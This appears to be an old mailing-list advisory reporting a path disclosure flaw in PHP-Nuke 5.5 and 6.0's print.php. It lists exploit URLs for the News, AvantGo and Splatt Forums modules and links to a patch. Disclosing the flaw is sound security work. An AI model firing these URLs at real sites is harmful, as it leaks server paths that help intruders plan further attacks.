PHP-Nuke 5.5 and 6.0: Path Disclosure

[Rynho Zeros Web <hackargentino () gmx net>]

+  Product -> PHP-Nuke
+  Version -> 5.5, 6.0 (other versions not tested jet)
+  Website -> http://www.phpnuke.org
+ Problems -> Path Disclosure

+ Explanation:
The fault happens in the file print.php, which this including in the modulos
'News' and 'AvantGo', in the same one is checked that the variable $sid
exists, but its content is not controlled, since if he is equal to NULL or not it
corresponds with I articulate in the data base, generates an error.

+ Exploit: This vulnerability may be exploited by accessing one of the
following vulnerable scripts:

http://www.target.x/modules.php?name=AvantGo&file=print&sid=
http://www.target.x/modules.php?name=News&file=print&sid=
http://www.target.x/modules.php?name=AvantGo&file=print&sid=[Any_Text]
http://www.target.x/modules.php?name=News&file=print&sid=[Any_Text]

[..]
Another one bug also has been found in "Forums" (Splatt Forums
3.2)
module:

http://www.target.x/modules.php?op=modload&name=Forums&file=attachment&AtchOp=show
[..]

+ Path AvantGo & News only:

http://www.rynhozeros.com.ar/files/site/own/fixes/PHPNuke6.0_5.5_etc.zip

-- 
XyBØrG
WebMaster de:
www.RZWEB.com.ar
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